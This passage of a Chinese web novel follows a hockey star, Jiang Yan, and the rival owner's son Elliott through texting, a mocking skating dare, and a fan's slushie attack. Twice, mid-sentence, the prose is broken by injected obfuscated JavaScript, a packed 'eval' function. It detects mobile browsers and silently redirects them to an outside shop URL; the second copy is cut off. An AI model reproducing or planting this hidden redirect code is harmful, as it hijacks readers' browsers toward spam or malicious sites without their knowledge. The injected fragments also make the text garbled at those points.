“奖……啊啊……你是说那个……”艾利奥特如梦初醒般,从肩上拿下那个书包,在里面一顿翻,在最里面的一个拉链口袋里掏出那个珍藏的金属打火机,“你确定要吸烟吗?” 江砚点点头,从口袋里掏出万宝路金标烟盒。 艾利奥特看他这样,只能有点不情愿地靠近江砚,给他打着火苗。 江砚的牙齿叼着香烟,低下脑袋,一手帮火苗挡着风,一手轻轻拢在艾利奥特拿着打火机的手上,点燃了香烟。 艾利奥特仰头看着江砚口中吐出来的烟雾在后巷昏暗的灯光下袅袅上升,忽然感觉这一切很虚幻,仿佛不应该发生似的。 “你接下来还要去纳什维尔吗?”江砚忽然问道,打破了两人之间的沉默,“纳什维尔,我们下一场客场比赛。你会来看吗?” 艾利奥特眨眨眼睛:“我很想但是……”他露出一个看似不在意的微笑,“但是明天我就回圣保罗了,我有点事要忙。” “什么事?”江砚脱口而出,又觉得这种追问有点冒昧,“要把你在我们这边偷到的战术带回明尼苏达吗?” 非常糟糕的找补,江砚心中暗骂。 “并不是。”艾利奥特并没有把江砚的话当做是种冒犯,“家里的事。” 他倒是没有撒谎,今天在和合作方开会时,海莉偷偷给艾利奥特发了短信,警告他威廉最近在向她打听艾利奥特的感情近况,估计是想给他安排一些相亲之类的。果然在会议结束后艾利奥特上了车赶来竞技场的路上时,他就接到了威廉的短信,通知他回圣保罗一趟。 威廉是很传统的一个美国老钱,而艾利奥特自从上次和女友分手后已经单身差不多一年,威廉能做出这种安排他们兄妹俩丝毫不惊讶。 “不过是叫我回去和安排的女友见个面之类的。”艾利奥特感觉也不是什么很重要的事情,于是便脱口而出。他知道这种事肯定不会成的,但是还得回去一趟给他们老爹个面子。 江砚拿烟的手顿在半空中:“女友?”他夹着烟的手指几不可察地收紧了一下。 艾利奥特点点头:“嗯,毕竟上任女友分手有段时间了,也该认识认识新人了。” 江砚愣了半晌,忽然醒过来似的,短促地笑了一声,抖落手中香烟的烟灰。 “你对接下来的纳什维尔的比赛有信心吗?”艾利奥特不明白江砚为什么忽然间好像热情减退了不少,此刻的他也没有多想什么,抱着书包,双眼亮晶晶地看着眼前的偶像,发出一些粉丝提问。 江砚烦躁地耸耸肩:“说实话,没有。”他皱着眉头,好似嘴里原本用来放松心情的香烟熏到了眼睛,“纳什维尔巨隼(Skyclaws)队是一支强队,去年他们就很难打。而且今晚我们就要飞走,舟车劳顿的,我们也不一定能拿出最优秀的状态来面对他们。” 艾利奥特听了之后有些失落,他清楚自己并不是为了成绩,自己只是有点隐隐的心疼江砚的疲惫。 这时江砚的手机非常适时地震动起来,江砚掏出手机,点开洛根发来的语音,一长串的“F”字眼逼问他又跑哪儿去了。 “那……我先走了。”江砚把还剩一半的香烟丢在地上,原本满心期待的独处时光瞬间变得索然无味。 “那我发信息和你再聊。”艾利奥特看着江砚毫不留情的转身,忽然语气急切地加了一句。 “随你便。”江砚头也没回,背对着他摆了摆手。 “我是认真的!”艾利奥特上前一步,“不管你回不回复我,我都会给你发短信。” 江砚停住脚步,侧过脸来。 昏暗路灯下的艾利奥特还是那样,就像他第一次在中场休息时在电视屏幕上看到的那样,因为激动而满脸通红。 “我知道了。”江砚点点头,推开员工通道大门。 ------------------------------------------------------ 艾利奥特说到做到,江砚提着包刚坐到球队大巴车上,手机就收到了一连串短信轰炸。 「尽管你对接下来的比赛前景并不看好,我还是觉得你到时候的表现不会差到哪里。」 江砚匆匆扫了一眼最后一条,按熄屏幕塞回口袋里。结果刚塞回去两秒,手机又震动了。他又一次掏出来点开手机。 「你接下来你再赢一次,我就给你一个奖励:」 「我跟你一起抽烟。」 江砚觉得好笑,手指在键盘上一阵飞舞: 「什么时候看你抽烟也成了给我的奖励了?」 艾利奥特几乎是秒回: 「哈!我感觉你可能会喜欢看到我因为不擅长抽烟出糗的模样之类的。很多人都喜欢,比如……那次奶昔事件就是例子。」 江砚回复的时候脸上的微笑都压不下去: 「并没有,我是真心觉得那次奶昔事件你挺可爱的。」 「那你跟那些做表情包的网友说去吧。」 “你在跟谁聊天呢?笑成这样?”米夏把自己的包放在行李架上,一屁股坐在江砚身边,疑惑地问道。 “没谁。”江砚立刻收敛起笑容,把手机按熄。 也许,选择做个朋友或许真的是个不错的选择。 ------------------------------------------------------ 2025年,11月20日,纳什维尔,布里奇斯通竞技场。 江砚的预测没有出错,由于背靠背比赛再加上长期旅途带来的疲劳,最终霜咬队还是在纳什维尔的客场比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307916|198735||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赛惜败而归。 「今年赛季目前我们是六胜四负,成绩还算可以。」 江砚坐在休息室的长椅上给艾利奥特发短信,刚摘下来的头盔摆在一边。 「我看直播了,你的门前垫射很厉害,输给巨隼队也不用可惜,他们配合得实在是太厉害了。」 江砚笑着挠挠头: 「你什么时候知道这么多专业术语了?」 「Duh?我毕竟也是正儿八经有MBA学位的,学东西这种事对我来说很轻松。」 「那你可以学一下打冰球,既然你是‘万世通先生’(Mr.knowsitall)。」 「是‘万事通先生’(Mr.Know-all),而且我才不学,我们中间只有你会就好了,我怕我学好了抢你风头。」 米夏站在不远处一边给自己卸掉身上的护甲一边看着江砚傻乐着咬着下嘴唇一刻不停地发短信,和那些陷入热恋的小男生没什么区别。忧心忡忡地叹了口气。 ------------------------------------------------------ “进入12月份后,霜咬队就要开始和太平洋分区的球队比赛了。”艾利奥特结束和江砚的短信聊天后把手机放到一旁,在沙发上神了个懒腰,冲着趴在那边餐桌上双眼死盯着MacBook的海莉说道,“你要是想求我帮你写什么作业就赶紧说,我很快就要继续跟霜咬队去了。” “那个破队你有必要这么上心吗?”海莉瞪着一对大熊猫眼,在电脑键盘上敲得噼里啪啦,“研究透霜咬队这种中不溜水平的球队,不如去研究底特律红齿轮队那种强队。” “瞎说,霜咬队现在的水平绝对是中上层的,你又没有跟着我一起去追比赛就别乱评测。”艾利奥特从沙发上站起身来,慢悠悠地溜达到海莉身边,“你在忙着写什么呢?” “美国文学概论101的作业啊,真是太几把难写了,我原本以为学个英语文学会很轻松呢,结果还不如高中时候。”海莉转手拉开一罐红牛倒进手边大马克杯里的咖啡中,“我感觉我实在写不完了,你必须得帮我。” “这就是你荒废学业一直追冰球种下的恶果,怎么什么都让我来帮你承担?”艾利奥特嘴上这么说着,但身体还是很诚实地向自己的妹妹伸出援手,“你想要我帮你什么?” 海莉立刻转身从自己的路易威登包里掏出一本不知从哪儿淘来的二手《红字》。 “这本霍桑你就帮我好好读读吧,读完之后帮我写一篇文章,求你了我的好哥哥。”海莉双手合十做出祈祷状。 “我很久以前读过……不过你为什么会选这本?你肯定不会喜欢读这种的。怎么不选一本《了不起的盖茨比》?”艾利奥特皱着眉头翻阅着这本不知被多少人翻过的发黄的书页。 “我哪想这么多。我只想着圣诞前夜在庄园举办的换装派对的事情了,选书直接闭眼选的。”海莉啜饮了一口自己调制的功能饮料,又开始精神抖擞地码起字儿来。 “你怎么说服咱爸原谅你的?还能用庄园来办圣诞派对?”艾利奥特仍然不敢相信在自己不在圣保罗的这段时间,威廉·该死的老传统·莫里兰德竟然真的原谅了海莉,父女俩终于达成了和解。但海莉还是选择在艾利奥特的顶层公寓继续住着,因为可以不用一举一动都在威廉的监视下。 海莉咽下嘴里的咖啡:“啊,我告诉他圣诞节前的所有科目都不会挂科并且拿下4.0的GPA。” 艾利奥特抱起双臂:“这就是你让我替你写作业的原因吗?原来你是在这边等着我呢。” “你别激动嘛。”海莉再一次拖过自己的路易威登在里面一阵翻找,“我给你这个当做补偿。” 艾利奥特低头一看,一张制作精美的邀请函摆在他的手心:“这是?” “我的圣诞换装派对的入场券,免费送你一张,到时候你可以把你的那个相亲女友一起带来参加。”海莉恬不知耻地冲着自己亲哥吐出舌头坏笑。 艾利奥特一阵头疼:“首先,那个所谓的‘相亲’根本没成,我和那个女生互相看一眼就知道自己不是对方的菜,那天我和她对坐了不到十分钟就散了。所以你这个邀请函对我来说根本就毫无价值。” “那就给其他人咯,你总不可能一个心仪的人都没有吧。”海莉大惊小怪地说道。 “这……”艾利奥特声音渐渐减弱,他心里真的有个人选。 13. 13 羞辱 2025年,12月2日,丹佛,鲍尔体育场。 艾利奥特咬着一根黑色原子笔的一端,皱着眉头,把自己裹在白色的羊羔绒外套里,窝在体育场看台的一个座位里翻着手里的《红字》。 “江砚!你的果肉皮又来了。”现在霜咬队的队员们看到艾利奥特都开始见怪不怪了,他们在冰面上三三两两地滑动着,为迎接今晚和温哥华雪隼(Snowhawks)队的比赛进行早场训练。 江砚没有理会队友们的打趣,他坐在替补席,球杆杵在地板上,下巴靠着球杆,眼神不住地飘向那个皱巴着脸读书的艾利奥特。 达拉斯分别后,这是江砚这段时间来第一次见到艾利奥特。尽管这些天里,两个人几乎每天都在有一搭没一搭地在手机上通过短消息聊天,但是线下再次见到他那张脸,江砚内心还是忍不住一阵小小的激动。 “他怎么又来了……这次没带他那个专业顾问吗?”米夏坐在江砚身边往腿上绑护甲,语气略微不快地嘟哝着。 “也没必要每次都需要专业顾问在身边陪着吧,冰球这么简单的比赛项目跟着看几次还看不明白那智商跟狗没什么区别。”洛根站在一边瞥了一眼艾利奥特的方向随口说道。 “啧。”江砚小小地白了洛根一眼,站起身滑向冰面。 “米哈伊尔同志,我很遗憾地宣布你失恋了。”洛根惺惺作态地拍了拍米夏的肩膀,看着江砚滑向艾利奥特方向,“人家有新欢了。” “滚蛋。”米夏不耐烦地推开洛根的手,“你不懂我在担心什么。” “我有什么不懂的。”洛根从鼻子里哼了一声,棕色眼眸中闪过一丝不易被人察觉的悲伤。 江砚在艾利奥特所坐的看台下方停住滑行的脚步:“嘿!” 艾利奥特原本以一种很扭曲的姿势半躺在座位上,听到江砚的声音后身体立刻弹了起来:“哦……嗨!”他把那本被翻得柔软的平装书按在胸口,坐直了身子向下面的江砚挥了挥手,“你要开始训练了吗?” 江砚点点头:“你不下来坐近点吗?”他指了指靠近冰场的看台座位,“可以看得更清楚。” “不用了吧……”艾利奥特谨慎地看了看江砚后面那些对他并没有特别欢迎的队员们,“我在这边坐着就好……” 毕竟我只是想来看你的。艾利奥特默默想道。 “没事儿!下来吧!”这时洛根滑到了江砚身边,冲着艾利奥特喊道,“你下来坐我们也不会吃了你。” “对啊!”其他几个大高个子后卫也滑了过来,在一旁起哄,“你就算坐在跟前带着放大镜看我们,嚎狼队也赢不过我们的。” “是啊,大少爷是不是不敢坐跟前啊。”又有几个队员也加入进来。 江砚眉毛扬了起来看向身边的队友,他们说的话完全偏离了江砚的本意。 艾利奥特尽管脾气好,但也不代表他会对霜咬队这些大老粗们的玩笑全权接受。他的面部在看台顶端昏暗的环境下看起来更暗了几分,只见他深吸一口气,动作有些急促地把手里的平装书塞进放在脚边的书包里,提起系带“哐哐哐”从看台上面走了下来。 “呜呼~他还真下来了~”霜咬队的大小伙子们一阵骚动。江砚被他们围在中间,一言不发地看着艾利奥特离自己越来越近,嘴角的高度越来越压不下去。 艾利奥特雄赳赳气昂昂地走到冰场最跟前的一排座位,把书包往地上一丢,随便挑了个座位坐了下来:“我来了,你们开始表演吧。”他说着,从座位前方的护栏上拿下摆在上面的一个桶子,里面装着半桶训练用的冰球,“需不需要我像水族馆里的管理员一样,给你们丢小鱼吃?”他拿起一个冰球,在手指间把玩着,看着面前一堆队员们说道。 霜咬队队员们被艾利奥特的模样逗得哈哈大笑。江砚没有笑,但他的眼神也柔和下来不少。 “可以啊,麻烦你给我们丢一下吧。”江砚落下球杆,在冰面上敲击两下。 艾利奥特喜欢看到江砚没有取笑他的模样,他嘴角含笑地站起身来走到护栏旁边,从桶子里掏出几个冰球挨个向冰面上丢过去。 霜咬队的队员们四散开来去击打训练用的冰球。江砚手疾眼快,站在原地抬起球杆接到一个,球杆在他手心转了两圈放了下来:“谢了。”他冲着艾利奥特抛了个wink,转身潇洒离去。 不好,这种感觉又来了。 这种小鸟翅膀在胸膛飞速拍打的感觉。 艾利奥特不引人注目地捂住心口,后退几步坐回进座位里。 他现在应该做什么来着?哦对,帮海莉继续读书……读什么来着…… 他不安地抖着腿,再一次不受控制地开始咬手指甲。 书包里除了有那本海莉不知从哪买回来的倒了好几手的《红字》之外,还有一封烫手的邀请函。 今天是一个送出邀请函的绝佳时机,因为在他这次来丹佛之前,威廉已经通知他今年圣诞节前可能会有很多事情要忙,需要他回圣保罗一起帮忙处理生意上的事务。 不知今天还能不能送出去,如果要送的话,那也得躲开这群只会在一旁瞎起哄的霜咬队大老粗队员们,私底下给他。 “嘿!”不知何时,米夏忽然也停到了艾利奥特面前。 “嗯?”艾利奥特咬着手指甲抬起头来看向他,“有什么需要我帮你的吗?”他下意识想去摸那个装着训练冰球的桶子。 “少来这一套。”米夏面色铁青地看着艾利奥特,“你这样一直在这边只会扰乱他,你知道吗?” 艾利奥特确实没有听明白:“不好意思你说什么?” “你根本就不懂冰球,你也不懂他,你为什么还要一直过来?”米夏难以置信地摇摇头,看着艾利奥特懵懂的模样,“你为什么一直要缠着他?” 艾利奥特看着面前这个他在恶补江砚个人资料时总是能看到的令人厌烦的脸,丧失了一大半想正常交流的心情:“我来不来关你什么事?”他故意露出一个侮辱性极高的纯良笑容,“啊……你是不是吃醋我和他关系快比和你还要好了?” “Блять……”米夏被这个四体不勤五谷不分的大少爷气笑了,“你知道他走到现在这个位置有多不容易吗?你就想这样过来扰乱他的心态?我敢打赌你连滑冰都不会。” 这时马泰奥正巧经过米夏身后:“唉?说的对啊。”他一个急刹车,绕了一圈滑了回来,“嚎狼队大少爷,你会不会滑冰啊。” 马泰奥的好哥们金诺亚也溜了过来:“聊什么呢?” “在聊这位大少爷是不是连滑冰都不会。”米夏抱起双臂,脸上露出恶作剧的微笑,“你们想不想看他滑冰?” 艾利奥特此时对米夏的厌烦程度简直达到了顶峰:“我会不会滑冰和我身为嚎狼队老板的儿子又有什么关联呢?你怎么不问问理查德·布兰森会开飞机吗?” “首先,你是嚎狼队的,所以我们针对你。其次,没错,理查德·布兰森真的会开飞机。”米夏冲着艾利奥特龇牙笑道,“怎么样?敢不敢上冰面上来?” “对啊……是不是不敢啊……”金诺亚立刻理解了米夏的意图,配合地在一旁帮腔。 也许是体内自带的威廉·莫里兰德的不服输基因在作怪,艾利奥特狠狠地盯了米夏半晌,一怒之下站起身来:“多余的冰鞋在哪里?” “喔噢!!”马泰奥和金诺亚立刻夸张地拍手喝彩,“莫里兰德家的公子人生中第一次上冰咯……” “那边在干什么?”正在和伊莱亚斯和江砚一起训练合作技巧的洛根抬起头来看向那边的骚动。 “队长!”一个后卫滑到他跟前,“还有多余的冰鞋吗?” “在更衣室里……”洛根只来得及向身后更衣室方向指了指,那个后卫“嗖”地一声消失不见了。 江砚直起身子,看向艾利奥特方向,只见那边已经挤了一小群人。 “什么鬼……”还没待他拔腿滑向那边,那个后卫已经拿着多余的冰鞋又跑出来了。飞一般地滑向了艾利奥特那边,江砚眉头一皱,紧跟了过去。 艾利奥特的内心其实真的是在打鼓的,因为他此前的人生中真的没有上过一次冰面。小时候在明尼苏达生活时就不爱寒冷的天气,所以一到冬天就会躲在温暖的室内,打死也不要去接触任何低温的事物。父母离婚后他更是直接跟着妈妈去了洛杉矶,打那之后他就根本没体会过什么是冷。 他手指有些僵硬地给自己换好冰鞋,不自然地扶着护栏站起身子。 应该不难吧,毕竟每次看到江砚滑冰时他都如履平地一般…… 艾利奥特如是想着,冰刀踩上了冰面—— ——啪叽! 他差点跪在冰面上,猛地滑了一个趔趄,惊慌失措地扶住了身后的护栏。 “哈哈哈哈哈哈哈哈哈……”围观的霜咬队队员们爆发出一阵惊天动地的笑声。 艾利奥特满脸通红,但还是抿紧嘴唇,扶着护栏站直。 “哟哟哟……可得小心了……别把自己摔到老莫里兰德派私人飞机把你接回去!”米夏在一边双手圈在嘴边冲着艾利奥特喊风凉话。 “对!要是在丹佛摔伤的话,我们可不给明尼苏达人提供医疗救援!”其他队员也在一边架秧子。 艾利奥特没有理会他们,他专心致志地盯着脚下的冰面,生怕自己一个重心不稳大头超前冲过去。 说什么都要咬着牙成功地滑一圈,让这个俄国佬闭嘴! “你们在干什么?”江砚的声音忽然传了过来,艾利奥特心下一惊,脚下一个不稳,差点一屁股坐在冰面上,双臂像大风车似的在半空中疯狂划圈。 “小心……”江砚滑了过来,伸手扶住了差点摔倒的艾利奥特,“你怎么上冰面上来了?” 艾利奥特咬着嘴唇不说话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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根本不用他嘱托,艾利奥特早就像溺水的人一样,惊慌失措地一把紧紧搂住了江砚的脖颈,亲密无间地靠在江砚怀里。江砚一手抱着艾利奥特,一手拎着球杆,身形丝毫不晃地滑向冰场出口。 “喔……”冰场上的那群大老爷们看到这一幕无不喝彩吹口哨。在他们眼里,这个高高在上的对家公子哥儿被他们队的王牌这么“娇弱”地抱在怀里,男子气概受到了重大挫折,真是让人心里痛快!! 艾利奥特的心脏几乎马上就要爆炸了。他不知道此刻自己的内心到底是什么感情,到底是因为和江砚的亲密接触而心动,还是因为遭受到了其他人的贬低而感到耻辱。 多重刺激下,艾利奥特的眼圈泛红。 “来……小心。”江砚滑到场边,把怀里的艾利奥特放到踏实的地面上,直起腰来时看到了艾利奥特的脸,瞬间愣住了,“……你怎么了?” 艾利奥特别过脸去,他不想让江砚看到自己流泪的模样。他动作激烈地坐回到座位上,愤愤解下脚上的冰鞋。 真是自取其辱,他怎么会这么自信自己一定会无师自通滑冰的,自己哪来的胆子敢挑战专业的冰球运动员。他不敢相信自己真的在江砚面前出了这么大的丑。 “嘿……对不起……”江砚看着艾利奥特的样子,以为自己刚刚的举动冒犯到了他,有些手足无措地想上来。 “不……不用。”艾利奥特换好鞋,猛地站起身,拎起书包,“嗯……我还有事,我先走了。” 说罢,他背上包,踩着看台阶梯,“咚咚咚”地跑着离开了,江砚呆呆站在原地,他甚至都没来得及问艾利奥特今晚还会不会来看他比赛。 ------------------------------------------------------ “太蠢了……太蠢了……怎么能被那个俄国佬稍微一激就冲动了。”艾利奥特抬手抹掉脸上滑落的眼泪,面红耳赤地走出体育场。 手机忽然震动,他停下脚步,靠在体育场的外墙上掏出手机。 「对不起,我不该当着这么多人面把你抱起来的。」 艾利奥特看着江砚发来的短消息,嘴角一撇,差点又落下泪来。他用羊羔绒外套衣袖擦擦眼眶,手指在键盘上按动。 「和你没关系,我自己有点事,先离开了。」 他想了想,又加上一句: 「今晚我不来看比赛了,有个线上会议我需要参加。」 江砚几乎是秒速回复: 「那你哪次比赛的时候才会来?」 说实话,刚刚那次出糗之后,艾利奥特都不想再见江砚了。他叹了口气,把后背上的书包扯到胸前,想着把手机丢进去,眼不见心不烦。 拉开拉链,只见海莉那封圣诞派对的邀请函还夹在《红字》和iPadmini之间,明晃晃的,仿佛在诱惑着他。 艾利奥特盯着邀请函,挣扎半天,最终还是摇了摇头,拿起手机: 「接下来这段时间,我可能要陪我父亲去处理一些生意方面的合作事宜。也许23号你们和圣荷西利刃队的比赛时我会过来。」 他仰头长叹一口气,没两秒钟后手机再次震动: 「好的,不见不散。」 14. 14 樱桃冰沙 2025年,12月23日,丹佛,CherryCreek购物中心。 尽管距离海莉盛大的圣诞换装派对还剩不到两天的时间,艾利奥特还是挤出时间来遵守了和江砚的约定——来丹佛看霜咬队和圣荷西利刃队的比赛。 “你想要什么礼物,我尽量帮你买就是了。”艾利奥特站在商场的中庭里,看着配合节日气氛摆在地板中间的巨大的蓝色棚顶的圣诞老人雪橇,“我今晚比赛结束后就回圣保罗,肯定能赶得上你的派对。” “看在你帮我写完作业的份上,我可以原谅你。”海莉撒娇的声音从手机听筒里传出来,“你只需要帮我买点派对上要用的酒水就好了。” “就这点?不要点爱马仕之类的?”艾利奥特慢慢踱步,准备上楼去看看酒品专卖店。 “这些我自己刷卡也能买,你不用考虑那么多了。记得这几天在丹佛不要暴饮暴食,你可是要和我穿搭配的服装的。”海莉的声音懒懒散散的,艾利奥特都能想象的出来放假在家的她把所有布置派对的事宜都交给哥哥帮忙雇来的公关团队负责,自己舒舒服服地躺在床上和比赛间隙的男友乔什煲电话粥的情景。 “这种服装你和你自己亲爱的男友换同一系列的就好了,干嘛非要拉上我一起配合你……”艾利奥特叹了口气,转了个身,原本想抱怨海莉的话语忽然堵在了喉咙眼里。 面前一个巨大的LED屏占据了整面立柱,冰蓝与黑色的背景上,那个男人单膝压在冰面上,护具完美地贴合着他的身体线条,球杆横在身侧,目光冷静而锋利。 是江砚代言的地广。 Bauer的标志在他的肩侧护具上闪闪发亮,他整个人看起来就像一枚洁净的刀片。 艾利奥特呆站在原地,怔怔地看着面前这个大屏广告。 他早就知道江砚英俊的惊心动魄,他也早就知道江砚在他那个能力超群的经纪人的帮助下拿到了这个品牌代言。但是当这个人以这样的尺寸、这样的姿态,突然出现在自己生活的动线上时,艾利奥特终于后知后觉地意识到: 原来他已经走到这么远了。 远到不需要江砚出现在他面前,只要出现在一块广告屏里,就足以让他心口发紧。 上次在丹佛分别时他窘迫的回忆还没有完全在心头消除,这段时间江砚给他发的短消息甚至都有在小心翼翼地呵护他那点可怜的尊严。可是这些所谓的“脸面”在艾利奥特看到江砚的任何一点影像时又都显得微不足道。 广告画面切换,江砚抬手挥杆的动作被定格。 艾利奥特盯着那一瞬间看了很久,直到手机里海莉叫了他好几声都没听见。 “嗯……我在……你刚刚说什么?”他喉结轻轻动了一下,忽然觉得有点喘不上气。 这不是追星该有的反应。 这个念头在他脑子里一闪而过,却又没来得及被他抓住。 ---------------- Zamboni整冰车已经完成自己的工作,开始从冰面上下来。江砚坐在休息室里,今天他和队友们都到得早早的,在比赛前再来最后一次整合练习。 休息室里热热闹闹,所有人都对今晚对战圣荷西利刃队充满信心,迫切地期待着打个大胜仗后回家,美美地和家人们欢度圣诞节。 “嘿!”米夏拍拍坐在自己身边拿着手机看关于信天翁纪录片的江砚,“圣诞节有什么安排吗?” 江砚摘下耳机,努力回想了一下:“应该没有。” 尽管如此,艾利奥特的脸还是在他脑海里闪过了一下。也不知道他是怎么度过圣诞节的,估计是在巨大的豪宅里和自己的家人一起吧。 “没有安排的话,那就来我家找我和斯维特拉娜。”米夏用肩膀撞了一下自己的在异国他乡孤身一人的好哥们,“我们到时候会模仿美国人的传统烤一只火鸡。” “首先,美国人是感恩节吃火鸡。其次,你们俄国人不是一月七号才过圣诞节吗?”江砚被米夏欢天喜地的情绪感染了,把耳机收了起来。 “入乡随俗嘛,我带着斯维特拉娜一起来到这里可是铁了心要成为美国公民的。”米夏无所谓地说道,“要不是对自己的未来有规划,我早就留在俄罗斯打KHL了。” “说的也是。”江砚笑了一下。 他回忆起当年在青训营时,17岁的米夏认真地找到他,问道:“他们问我想不想去北美。你要不要和我一起?” “那就这么说定了。如果你没有安排的话,就来我家。”米夏敲敲江砚的头盔,站起身来走向休息室另一端去骚扰其他队友了。 江砚脸上的微笑还没收敛起来,只感觉口袋里的手机一震。 「【配图】」 江砚看着艾利奥特发来的照片,是他在商场里用手机拍摄下来的巨大的地广照片。他摇摇头回复道: 「看起来傻透了。」 「胡说,明明很帅。」 江砚像个毛头小子一样挠挠头,低头继续回复: 「真人看起来更帅,你今晚还会来丹佛吗?」 「不然你猜我这张照片是在哪里拍的?而且如果你今晚表现很好的话,我就提前把圣诞礼物送你。」 江砚此刻的嘴角即使是当场宣布比赛取消的话也压不下去。 「我也有要送你的圣诞礼物。」 艾利奥特看着手机上江砚发来的短消息,整个人一下子从网约车后座上弹了起来。 他也给我准备了圣诞礼物?! 虽然说我也给他准备了吧……但是…… 艾利奥特拼命说服自己:你激动只是因为他是偶像,他竟然还想着给你圣诞礼物。 但是另一个想法还是忍不住悄悄冒头:不过……万一他确实很喜欢你呢…… 艾利奥特捂住嘴,但是笑声还是压抑不住地顺着指缝漏出来。他像个成功请到心仪对象去参加毕业舞会的愣头青似的趴在自己的大腿上,开心得身体发颤。Uber司机谨慎地不停回头查看他,以免需要叫救护车通报这里有人癫痫发作。 ------------------------------------------------------ 也许是受到节日氛围的影响,今晚霜咬队简直就是如入无人之境。4:1大败圣荷西利刃队,圆满收官圣诞节前的比赛。现场DJ心情大好,甚至开始播放现在早就不流行的老电影原声Pop!GoesMyHeart。 艾利奥特在冰场跟前的vip席里,他身边的江砚女粉蹦上蹦下,把手掌都拍红了、嗓子都喊哑了。只有他稳稳地站在原地,脸上挂着骄傲的笑容平静地看着看向这边的江砚,两人之间有一个共同的不会宣之于口的约定,只有他们知晓。 “啊啊啊!江砚看向这边了!!他看我了!!”身边那个江砚头号狂热粉丝看到江砚的投向这边的眼神后,激动到尖叫着差点晕过去。 艾利奥特没说话,淡淡地看了她一眼,惋惜这个姑娘并不知道她的偶像看的并不是她。 他低头开始收拾自己的书包,准备等会按照约定去后场休息室的走廊出口附近等待和江砚见面。 顺便……尝试把这个送给他。 他看着依旧躺在书包里没有拿出来过的邀请函,闭上眼睛深吸了一口气,给自己壮壮胆子。 艾利奥特站起身,还没等他把书包拉链拉起来,身边一个经过的球迷不小心撞到了他,顿时书包里零零散散的东西顺着被撞的力道飞了出去。 “啊……不好意思……真对不起……”那个球迷连忙蹲下/身子帮艾利奥特捡起地上的杂物。 “没关系,是我没拿稳。”艾利奥特随口安慰道,他也觉得自己在书包里放的杂物太多了。甚至之前帮海莉读的《红字》在他帮忙把作业写完后都懒得拿出来,依旧塞在书包里。不过还好这本柔软的二手平装书用的是轻型纸,轻到几乎没有重量。 他从地上捡起来那封邀请函,确认没有弄脏后,把它夹到《红字》里面,拎着书包站起身子。 “嘿……你不是那个谁吗?”眼前这个刚刚撞到他的球迷像是回忆起来什么似的,皱起眉头指着艾利奥特疑惑地说道。 艾利奥特视线下移,看到了这个球迷身上的圣荷西利刃队球服logo。 啊,糟了。 “你就是那个嚎狼队的老板儿子!”眼前的利刃队球迷终于想起来了,“之前那个在圣荷西被我们泼了一脸奶昔的那个!” “你记性很好。”艾利奥特努力忍住想翻个白眼的冲动,真是冤家路窄。 “你小子怎么又跑这边来的?是想专门看我们笑话吗?”这个球迷看到艾利奥特这张俊脸就想起上一场利刃队对嚎狼队的奇耻大辱,逐渐开始变得脸红脖子粗。 “首先,我没这么闲,会专门追着手下败将嘲笑,别把自己看得太重要了。其次,这是我的私人行程,和您无关,不需要您的关照,谢谢。”艾利奥特尽量用最平静的语气说完,转身拿起张着大口的书包,准备把夹着邀请函的《红字》塞进去转身离开。 “哈,高高在上的资本狗。”那个因为利刃队今晚再次失利而在气头上的球迷显然不想这么轻易地放过艾利奥特。 他低头看了看手里还没喝完的、已经全部化成液体的樱桃冰沙,上前两步,直接冲面前这个穿着一身昂贵的拉夫劳伦冬季套装的大少爷泼了过去。 ------------------------------------------------------ 还在冰球场边讨论今晚比赛的霍洛威教练、洛根、助理教练和体育运营负责人注意到了主场通道旁边vip席上的骚乱。 “嘿!你们干什么呢?!”霍洛威教练冲着那边喊道,转头看向助理教练,“去叫保安。” “等等,那个人我好像认识……”洛根眯起眼睛走向那边,“住手!别闹了!” 这时几个保安也走了过来,把那个球迷和艾利奥特分开来,“怎么回事?” 艾利奥特回过神来看到走过来的洛根,顿时欲哭无泪:“是他……他们球队被你们打输了就往我身上撒气。” 洛根的圣人形象还是很深入人心的,他一过来那几个闹成一团的人顿时不吭声了。洛根皱着眉头看着艾利奥特皱成一团的小脸,那条米白色的长裤已经被泼上了殷红色的液体,手里敞着口的书包也被糟蹋得一塌糊涂。 “唉……”洛根看着艾利奥特,即便身为宿敌球队的队长,他也对艾利奥特的倒霉程度感到难过,“来来,你过来。” 艾利奥特委委屈屈地拎着书包走到洛根身边,还不忘了回头狠狠瞪那个被保安钳制住的利刃队球迷一眼。 “你去我们更衣室把衣服换一下吧,我们的装备管理员在那里有准备的多余的运动裤。”洛根看着情绪低落到极点的艾利奥特,尽量语气放缓说道,“而且你不用担心我们那群人会看你笑话,这个时候他们应该差不多洗完换好衣服了,今晚我们要出去聚餐喝一杯,现在差不多已经开始往外走了。” 艾利奥特踌躇了片刻。他知道江砚估计还会按照之前的约定在走廊出口附近等他,而他自己也不想穿着一条看上去就像痔疮破了后弄脏的裤子和江砚见面。最终他还是艰难地点了点头。 「你可能稍微要等一会才能再看到我,我有点事耽搁了。」 衣柜里江砚的手机屏幕亮起,显示收到了这条短消息。 然而江砚本人并没有看到,他本人还在浴室里仔仔细细地清洗自己。 “差不多得了哈,都快把自己的皮搓掉了。”米夏在一边关掉淋浴头。 江砚没理他,他知道艾利奥特有多厌恶他们这群打球的身上的汗臭味。他现在恨不得给自己全身来一套spa脱毛确保身上没有一丝奇怪的味道。 “我不等你了哈,等会自己去GuardandGrace,老位置。”米夏懒得继续等他,大大咧咧地走出浴室。 艾利奥特躲在更衣室附近的拐角处,看着换好衣服的米夏兴致高涨地背着包哼着小曲离开。他蹑手蹑脚地轻轻推开更衣室门板,确保里面确实空无一人后,才放心地走了进去。 “恶……”他表情扭曲地看着更衣室湿漉漉的地板,球员们用来坐着休息、换衣服的长椅上也布满了不想让人接触的水渍。 我到底是做错了什么才会沦落至此啊…… 